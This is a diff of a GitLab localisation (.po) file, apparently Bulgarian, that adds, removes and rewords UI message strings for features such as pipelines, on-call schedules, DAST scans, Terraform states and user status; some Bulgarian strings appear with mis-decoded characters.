+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "Опции"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Планове за Ñхема"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "ÐапомнÑне по-къÑно"
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Запазване на плана за Ñхема"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "зададете парола"
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] "Показване на %d Ñъбитие"
msgstr[1] "Показване на %d ÑъбитиÑ"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "Връзката на разклонение беше премахнат
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "Етапът на проблемите показва колко е времето от Ñъздаването на проблем до определÑнето на целеви етап на проекта за него, или до добавÑнето му в ÑпиÑък на дъÑката за проблеми. Започнете да добавÑте проблеми, за да видите данните за този етап."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "Етапът на подготовка за издаване показÐ
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "Етапът на теÑтване показва времето, което е нужно на „Gitlab CI“ да изпълни вÑÑка Ñхема от задачи за Ñвързаната заÑвка за Ñливане. Данните ще бъдат добавени автоматично Ñлед като приключи изпълнението на първата Ви Ñхема."
@@ -26773,7 +27387,7 @@ msgstr "Времето, което отнема вÑеки Ð·Ð°Ð¿Ð¸Ñ Ð¾Ñ‚ даÐ
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
